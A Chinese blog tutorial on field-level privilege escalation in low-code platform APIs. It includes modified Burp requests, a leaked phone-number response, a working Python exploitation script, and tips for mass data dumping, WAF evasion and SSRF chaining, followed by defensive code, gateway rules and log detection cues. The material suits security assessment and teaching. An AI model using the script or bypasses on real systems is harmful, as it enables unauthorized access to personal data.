跳到主要内容 低代码/无代码平台通用安全缺陷与利用模式深度剖析 | 极客日志
Python SaaS 大前端
低代码/无代码平台通用安全缺陷与利用模式深度剖析 深入分析了低代码/无代码平台(LCAP/NCAP)的通用安全缺陷,重点揭示了后端 API 对前端字段参数过度信任导致的水平越权漏洞。通过构建员工信息查询场景,演示了如何绕过前端 UI 限制,直接调用后端 API 获取敏感字段数据,并提供了 Python 自动化利用脚本。文章还总结了进阶攻击技巧及防御方案,强调后端必须进行字段级的权限校验,防止数据泄露。该漏洞本质上是 IDOR 在低代码场景下的变体,适用于安全评估与红蓝对抗。
山野来信 发布于 2026/4/5 更新于 2026/4/13 1 浏览前言
1. 技术背景:低代码在现代攻防体系中的新阵地
在当今的软件开发领域,低代码/无代码(LCAP/NCAP)平台已经从一个新兴趋势演变为企业数字化转型的核心引擎。它们通过图形化界面、拖拽式组件和预构建模板,极大地降低了应用开发的门槛,使业务人员也能快速构建和部署应用程序。然而,这种'开发民主化'的浪潮也为攻击者开辟了新的攻击面。在传统的攻防体系中,我们关注的是源代码、基础设施和供应链的安全,而低代码平台则引入了一个新的抽象层——'配置即代码'。平台的通用安全缺陷往往源于其核心架构、组件封装和权限模型的共性问题,一旦被利用,可能导致数据泄露、逻辑漏洞甚至整个租户环境的沦陷。因此,理解和掌握低代码平台的安全攻防,已成为现代网络安全体系中不可或缺的一环。
2. 学习价值:从'黑盒'到'白盒'的渗透思维跃迁
识别通用缺陷:快速识别不同低代码平台背后共通的安全弱点,如不安全的 API 端点、权限模型绕过、组件注入等。
实现精准利用:学会如何从一个看似功能正常的应用界面,逆向分析其后端 API 调用,并构造恶意请求,实现从'黑盒'功能测试到'白盒'逻辑利用的思维转变。
构建防御体系:不仅知道如何攻击,更重要的是理解其根源,从而为企业制定有效的开发安全规范和纵深防御策略。
提升评估效率:将这些模式应用到授权安全评估中,能够极大提升对低代码应用资产的测试效率和深度。
3. 使用场景:理论与实战的紧密结合
企业安全评估:对内部使用低代码平台开发的各类应用进行安全审计和渗透测试。
红蓝对抗演练:在模拟攻击中,将低代码应用作为横向移动或权限提升的关键节点。
安全产品研发:为 SAST、DAST 和 WAF 等产品提供针对低代码平台的检测规则和防护逻辑。
开发者安全培训:作为培训材料,帮助公民开发者和专业开发者理解其构建应用的潜在安全风险。
一、低代码/无代码平台是什么
1. 精确定义 低代码/无代码开发平台(Low-Code/No-Code Application Platform, LCAP/NCAP)是一种软件开发工具,它允许用户通过图形化用户界面(GUI)、拖拽组件和模型驱动的逻辑来创建、部署和管理应用程序,而只需最少或无需手写代码。其核心目标是加速应用交付、降低技术门槛,并赋能业务人员参与到开发过程中。
2. 一个通俗类比 您可以将低代码平台想象成一个标准化的'智能厨房'。
传统开发 :就像从零开始买菜、洗菜、切菜、配料、学习烹饪技巧,最终炒出一盘菜。这个过程灵活度高,但耗时长、对厨师要求高。
低代码开发 :厨房里预先准备好了切好的净菜(组件)、标准化的调味包(API)、以及智能炒菜机(平台引擎)。您只需要选择菜品(应用模板),按顺序放入食材(拖拽组件),设定程序(配置逻辑),机器就能自动完成烹饪。这个过程极快,且不要求您是专业厨师,但菜品的口味和样式会受到厨房提供的标准化选项的限制。
3. 实际用途
内部管理系统:如 OA 审批、CRM 客户管理、HRM 人事管理、项目管理等。
数据收集与展示应用:如在线问卷、信息登记、数据报表、仪表盘(Dashboard)等。
轻量级业务流程应用:如费用报销、库存盘点、售后服务工单等。
移动端应用原型:快速搭建 App 和小程序,用于市场验证或内部测试。
4. 技术本质说明 从技术本质上看,所有低代码平台都在做一个核心工作:将用户的图形化配置('我想要什么')翻译成可执行的机器指令('代码该怎么写')。这个过程通常涉及一个多层架构。理解其技术本质是掌握低代码平台原理和发掘其通用缺陷的关键。
下面这张图清晰地展示了低代码平台的通用架构和数据流转过程,这也是我们后续攻击利用的核心所在。
Attacker_View
Backend_Layer
User_Layer
Auth_OK
Parse_JSON
Reverse_Analysis
Bypass_Frontend_Call_API
Potential_Issue_OverPrivilege
Potential_Issue_Config_Injection
Potential_Issue_Data_Logic
User_GUI_Action
Frontend_Render_Engine
Generate_Config_JSON
Trigger_API_Request
API_Gateway_BFF
Auth_and_Access_Control
Core_Config_Parser
Dynamic_Model_and_Logic
Data_Access_Layer
Database_or_ThirdParty_Service
Attacker
图解核心机制 :用户的设计操作被转换成一份描述页面结构和逻辑的配置 JSON。当用户与最终应用交互时,前端会根据这些配置向后端通用 API 端点发送请求。后端的核心引擎解析这些请求,动态执行数据查询、更新等操作。攻击的关键就在于:绕过前端 UI 的限制,直接与这些高度模式化的后端 API 交互,并利用其设计上的通用缺陷。
二、环境准备 为了复现本文的攻击场景,我们需要准备一个目标应用和一套标准的 Web 分析工具。我们将以一个虚构但贴近真实的'企业员工信息查询'低代码应用为例。
目标应用 :假设企业使用某低代码平台搭建了一个内部应用,员工可以查询自己和他人的基本信息(姓名、部门、工号),但敏感信息(如手机号、身份证)仅对自己可见。
核心工具 :Burp Suite / Fiddler / mitmproxy 等 Web 代理工具。
1. 工具版本
Burp Suite : Professional / Community Edition 2023.x 或更高版本。
浏览器 : Chrome / Firefox 最新版,并安装代理切换插件(如 Proxy SwitchyOmega)。
2. 下载方式
Burp Suite : 可从其官网下载。
Proxy SwitchyOmega : 可在 Chrome/Firefox 应用商店搜索安装。
3. 核心配置命令 无需命令行配置,均为 GUI 操作。核心步骤如下:
启动 Burp Suite :打开 Burp,确认代理监听在 127.0.0.1:8080。
配置浏览器代理 :
打开 Proxy SwitchyOmega 插件选项。
新建一个情景模式(例如命名为 'Burp')。
协议选择 HTTP,服务器填 127.0.0.1,端口填 8080。
保存并切换到该模式。
安装 Burp 证书 :
浏览器访问 http://burp/ 或 http://127.0.0.1:8080/。
点击右上角 "CA Certificate" 下载证书。
在浏览器设置中,搜索'证书',导入并信任该证书(选择'信任此 CA 以标识网站')。这一步是为了让 Burp 能解密 HTTPS 流量。
4. 可运行环境 完成上述配置后,您的环境即准备就绪。打开目标低代码应用页面,所有进出浏览器的网络请求都将被 Burp Suite 捕获,我们可以在 Burp 的 "HTTP history" 标签页中看到它们。
警告 :以下所有操作和代码仅限在获得明确授权的测试环境中使用。未经授权的测试是非法行为。
三、核心实战:利用通用 API 实现水平越权查询 本节将通过一个完整的低代码平台实战案例,演示如何利用其通用 API 设计缺陷,实现从普通用户权限到非法获取他人敏感信息的水平越权攻击。
场景 :在'员工信息查询'应用中,登录用户'张三'可以查看同事'李四'的部门和工号,但无法查看其手机号。我们的目标是获取李四的手机号。
步骤一:正常操作并捕获数据包
登录'张三'的账号,在应用中搜索并查看'李四'的个人信息页面。
切换到 Burp Suite 的 "HTTP history" 标签页,找到与查询用户信息相关的 API 请求。低代码平台的 API 通常具有非常规律的命名,例如 /api/v1/data/query 或 /api/v1/form/searchData。
观察请求体(Request Body)。你会发现它很可能是一个结构化的 JSON,其中包含了查询的表单 ID、字段、过滤条件等信息。
POST /api/v1/data/query HTTP/1.1
Host: lcap.example.com
Content-Type: application/json
Authorization: Bearer [ JWT_TOKEN_FOR_ZHANGSAN]
{
"appId" : "app-xxxxx" ,
"formId" : "form-yyyyy" ,
"fieldKeys" : [
"name" ,
"department" ,
"employeeId"
] ,
"filters" : [
{
"fieldKey" : "employeeId" ,
"operator" : "eq" ,
"value" : "1002"
}
]
}
{ "code" : 200 , "data" : { "items" : [ { "name" : "李四" , "department" : "技术部" , "employeeId" : "1002" } ] } }
分析 :前端通过 fieldKeys 参数明确请求了三个非敏感字段,后端也如实返回了这三个字段的数据。敏感字段'手机号'(假设其 fieldKey 为 phoneNumber)没有被请求,也没有被返回。
步骤二:修改请求,尝试获取敏感字段 目的 :绕过前端 UI 的字段限制,直接向后端 API 请求敏感数据。
将上一步捕获到的请求发送到 Burp Repeater(右键 -> 'Send to Repeater')。
在 Repeater 中,修改请求体的 JSON 内容。具体来说,在 fieldKeys 数组中添加我们猜测的敏感字段 phoneNumber。
POST /api/v1/data/query HTTP/1.1
Host: lcap.example.com
Content-Type: application/json
Authorization: Bearer [ JWT_TOKEN_FOR_ZHANGSAN]
{
"appId" : "app-xxxxx" ,
"formId" : "form-yyyyy" ,
"fieldKeys" : [
"name" ,
"department" ,
"employeeId" ,
"phoneNumber"
] ,
"filters" : [
{
"fieldKey" : "employeeId" ,
"operator" : "eq" ,
"value" : "1002"
}
]
}
步骤三:分析响应,确认漏洞 目的 :检查后端是否在权限控制上存在缺陷,返回了不该返回的数据。
{ "code" : 200 , "data" : { "items" : [ { "name" : "李四" , "department" : "技术部" , "employeeId" : "1002" , "phoneNumber" : "13800138000" } ] } }
结论 :如果后端返回了 phoneNumber 字段,就证明存在一个典型的水平越权漏洞 。这个漏洞的根源在于:后端 API 仅校验了用户是否有权访问该'表单'(formId),但未对用户请求的'字段'(fieldKeys)进行二次权限校验 。平台过度信任了来自前端的请求参数,认为前端会做好字段级的权限控制,而攻击者恰好可以绕过前端。这是低代码平台最常见的通用安全缺陷之一。
步骤四:编写自动化利用脚本 目的 :将手动发现的漏洞转化为可复用的自动化工具,实现批量验证和利用。这是低代码平台使用方法从手动到自动化的进阶。
以下是一个 Python 脚本,用于自动化执行上述攻击。
import requests
import json
import argparse
def exploit_lcap_data_leak (target_url, auth_token, app_id, form_id, target_employee_id, sensitive_fields ):
"""
自动化利用低代码平台通用 API 的字段级越权漏洞。
:param target_url: 目标 API 端点,e.g., "https://lcap.example.com/api/v1/data/query"
:param auth_token: 攻击者(普通用户)的认证 Token
:param app_id: 目标应用的 ID
:param form_id: 目标表单的 ID
:param target_employee_id: 要查询的目标员工工号
:param sensitive_fields: 尝试要获取的敏感字段列表,e.g., ["phoneNumber", "idCard"]
:return: 成功获取的数据或错误信息
"""
headers = {
"Content-Type" : "application/json" ,
"Authorization" : f"Bearer {auth_token} " ,
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
}
base_fields = ["name" , "department" , "employeeId" ]
exploit_fields = list (set (base_fields + sensitive_fields))
payload = {
"appId" : app_id,
"formId" : form_id,
"fieldKeys" : exploit_fields,
"filters" : [{
"fieldKey" : "employeeId" ,
"operator" : "eq" ,
"value" : target_employee_id
}]
}
try :
print (f"[+] 正在向 {target_url} 发送恶意请求..." )
print (f"[+] 尝试获取字段:{sensitive_fields} " )
response = requests.post(target_url, headers=headers, data=json.dumps(payload), timeout=10 , verify=False )
response.raise_for_status()
result = response.json()
if result.get("code" ) == 200 and "data" in result and "items" in result["data" ]:
items = result["data" ]["items" ]
if not items:
return "[!] 查询成功,但未找到匹配该工号的员工。"
leaked_data = items[0 ]
print ("[SUCCESS] 成功获取到数据!" )
found_sensitive = False
for field in sensitive_fields:
if field in leaked_data:
print (f" - 泄露字段 '{field} ': {leaked_data[field]} " )
found_sensitive = True
if not found_sensitive:
print ("[INFO] API 调用成功,但响应中未包含请求的敏感字段,可能已被修复或字段名不正确。" )
return json.dumps(leaked_data, indent=2 , ensure_ascii=False )
else :
return f"[ERROR] API 返回异常:{response.text} "
except requests.exceptions.RequestException as e:
return f"[FATAL] 请求失败:{e} "
except json.JSONDecodeError:
return f"[FATAL] 无法解析响应内容:{response.text} "
except Exception as e:
return f"[FATAL] 发生未知错误:{e} "
if __name__ == '__main__' :
parser = argparse.ArgumentParser(description="低代码平台通用 API 越权漏洞利用工具。" )
parser.add_argument("--url" , required=True , help ="目标 API 的 URL。" )
parser.add_argument("--token" , required=True , help ="认证 Token。" )
parser.add_argument("--app-id" , required=True , help ="应用 ID。" )
parser.add_argument("--form-id" , required=True , help ="表单 ID。" )
parser.add_argument("--target-id" , required=True , help ="目标员工工号。" )
parser.add_argument("--fields" , required=True , nargs='+' , help ="要尝试泄露的敏感字段列表,以空格分隔。" )
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
args = parser.parse_args()
result_output = exploit_lcap_data_leak(
target_url=args.url,
auth_token=args.token,
app_id=args.app_id,
form_id=args.form_id,
target_employee_id=args.target_id,
sensitive_fields=args.fields
)
print ("\n--- 结果 ---" )
print (result_output)
四、进阶技巧
1. 常见错误与排查
字段名猜解错误 :最常见的失败原因是敏感字段的 fieldKey 不正确。可以尝试通过查看其他能正常访问的表单、查阅开发者文档或分析前端 JS 源码来寻找线索。
Token 失效 :认证 Token 通常有有效期,如果请求返回 401 或 403,首先应检查 Token 是否过期,需要重新登录获取。
API 端点变化 :不同平台、不同版本的 API 路径可能不同。data/query, form/getData, record/list 等都是常见的模式,需要具体分析。
2. 性能与成功率优化
批量验证 :在脚本中增加循环,可以一次性测试多个目标 ID 和多个敏感字段组合,提高效率。
无过滤条件查询 :尝试移除 filters 参数,看是否能触发全量数据泄露 。某些配置不当的 API 在没有过滤条件时会返回所有数据,这是更严重的漏洞。
利用其他操作符 :除了 eq (等于),还可以测试 ne (不等于), contains (包含), gt (大于) 等操作符,可能会绕过一些简单的防御逻辑。
3. 实战经验总结
通用性极高 :这种'后端信任前端字段'的缺陷在大量低代码平台中普遍存在,是评估时的首要检查点。
关注'写'操作 :除了'读'(查询),'写'(update, create, delete) 操作的 API 同样存在风险。例如,修改请求体中的 recordId,尝试更新或删除他人的数据,这是垂直越权 。
组合拳攻击 :将此漏洞与其他漏洞(如 SSRF)结合。如果某个字段可以填写 URL,并且后端会抓取该 URL(如渲染头像),那么可能通过修改他人记录的该字段值来触发对内网的 SSRF 攻击。
4. 对抗与绕过思路
WAF 绕过 :如果目标有 WAF 拦截了常见的敏感字段名(如 phone, idcard),可以尝试编码、大小写混淆或使用平台的内部字段 ID(如 field_1a2b3c)来代替友好名称。
权限边界探测 :如果直接查询他人 ID 被拦截,可以尝试查询自己有权访问的记录,但在 fieldKeys 中注入一个与当前表单无关、但存在于其他表单的敏感字段。某些平台的 DAL(数据访问层)设计不当,可能导致跨表单的字段信息泄露。
利用 GraphQL 端点 :如果平台使用 GraphQL 代替 RESTful API,情况会更复杂。GraphQL 的内省查询(Introspection Query)可以帮助我们一次性获取所有可用的数据类型和字段,大大降低了字段猜解的难度。攻击方式也变为修改 GraphQL 查询语句来添加敏感字段。
五、注意事项与防御 安全的核心在于闭环。发现问题是为了更好地解决问题。
1. 错误写法 vs 正确写法(平台视角)
function queryData(request) {
// 1. 校验用户是否有权访问 request.formId
if (!checkFormPermission(request.user, request.formId)) {
return "Permission Denied" ;
}
// 2. 获取该用户在该表单下被授权访问的所有字段
let authorizedFields = getAuthorizedFieldsForUser(request.user, request.formId);
// 3. 对前端请求的字段列表进行交集运算,只查询授权范围内的字段
// !!! 防御核心 !!!
let fieldsToQuery = intersection(request.fieldKeys, authorizedFields);
// 如果请求的字段一个都不在授权列表里,可以记录为异常行为
if (fieldsToQuery.length === 0 && request.fieldKeys.length > 0 ) {
logSecurityEvent("Attempt to access unauthorized fields" , request.user);
}
let filters = request.filters;
// 4. 查询数据库
return db.select(fieldsToQuery).from (request.formId).where(filters);
}
function queryData(request) {
// 1. 校验用户是否有权访问 request.formId
if (!checkFormPermission(request.user, request.formId)) {
return "Permission Denied" ;
}
// 2. 直接使用前端传入的字段列表进行查询
// !!! 漏洞点 !!!
let fieldsToQuery = request.fieldKeys;
let filters = request.filters;
// 3. 查询数据库
return db.select(fieldsToQuery).from (request.formId).where(filters);
}
2. 风险提示
对于使用者(开发者) :不要假设平台是绝对安全的。对于处理敏感数据的应用,即使是通过低代码平台构建,也应进行独立的安全测试。
对于平台提供商 :必须将'零信任'原则贯彻到 API 设计中,永远不要信任来自客户端的任何参数,包括字段列表、ID、过滤条件等。
3. 开发侧安全代码范式(公民开发者) 虽然公民开发者不写后端代码,但可以在应用设计层面缓解风险:
最小权限原则 :在配置应用的角色和权限时,精确到每个字段的'可读'、'可写'权限。不要为了方便就开放整个表单的读写权限。
数据隔离 :如果业务允许,将敏感数据和非敏感数据拆分到不同的表单或应用中,通过权限设置严格隔离。
使用平台内置的安全功能 :如数据脱敏、水印、访问日志等,充分利用平台提供的安全能力。
4. 运维侧加固方案
API 网关防护 :在 API 网关层部署 WAF,并配置针对性的虚拟补丁。例如,创建规则来检测请求中是否包含当前用户角色无权访问的敏感字段 fieldKey。
行为异常检测 :监控 API 调用日志,通过用户行为分析(UEBA)检测异常。例如,一个用户在短时间内大量请求不同用户的敏感信息,或请求从未在前端 UI 中出现过的字段,都应触发告警。
5. 日志检测线索
请求体与响应体不匹配 :API 请求的 fieldKeys 列表与响应中实际返回的字段列表不一致,特别是响应中多出了敏感字段。
高频查询不同主体 :一个用户 ID 在短时间内,其查询请求中的 filters 值(如 employeeId)频繁变化。
非常规字段请求 :日志中出现对 fieldKeys 的请求,而这些字段在前端应用的任何正常视图中都未被配置。
总结 本文系统性地剖析了低代码/无代码平台的通用安全缺陷,并通过一个核心实战案例,展示了从漏洞发现到自动化利用的全过程。以下是核心知识点的浓缩:
核心知识 :低代码平台最大的通用安全风险之一,在于其后端通用 API 对前端传入参数(尤其是 fieldKeys)的过度信任,导致了字段级的水平越权和数据泄露。
使用场景 :该攻击模式适用于对绝大多数主流低代码平台构建的应用进行安全评估,是渗透测试和红蓝对抗中的一个高效切入点。
防御要点 :防御的核心在于后端必须对每一次 API 请求中的所有参数(特别是字段权限)进行独立的、与当前用户会话绑定的权限校验,实现服务器端的纵深防御。
知识体系连接 :这个漏洞本质上是 Web 安全经典漏洞'不安全的直接对象引用(IDOR)'在低代码这一新场景下的变体和延伸。它将传统的 URL 参数型 IDOR 扩展到了结构化的 JSON 请求体中。
进阶方向 :除了本文探讨的越权查询,还应深入研究逻辑注入(如在 filters 中构造复杂的逻辑绕过)、数据篡改、身份认证绕过以及平台自身管理后台的安全性等更深层次的议题。
自检清单
是否说明技术价值?
是否给出学习目标?
是否有 Mermaid 核心机制图?
是否有可运行代码?
是否有防御示例?
是否连接知识体系?
是否避免模糊术语?
微信扫一扫,关注极客日志 微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
相关免费在线工具 curl 转代码 解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
Base64 文件转换器 将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
Markdown 转 HTML 将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML 转 Markdown 互为补充。 在线工具,Markdown 转 HTML在线工具,online
HTML 转 Markdown 将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML 转 Markdown在线工具,online
JSON 压缩 通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online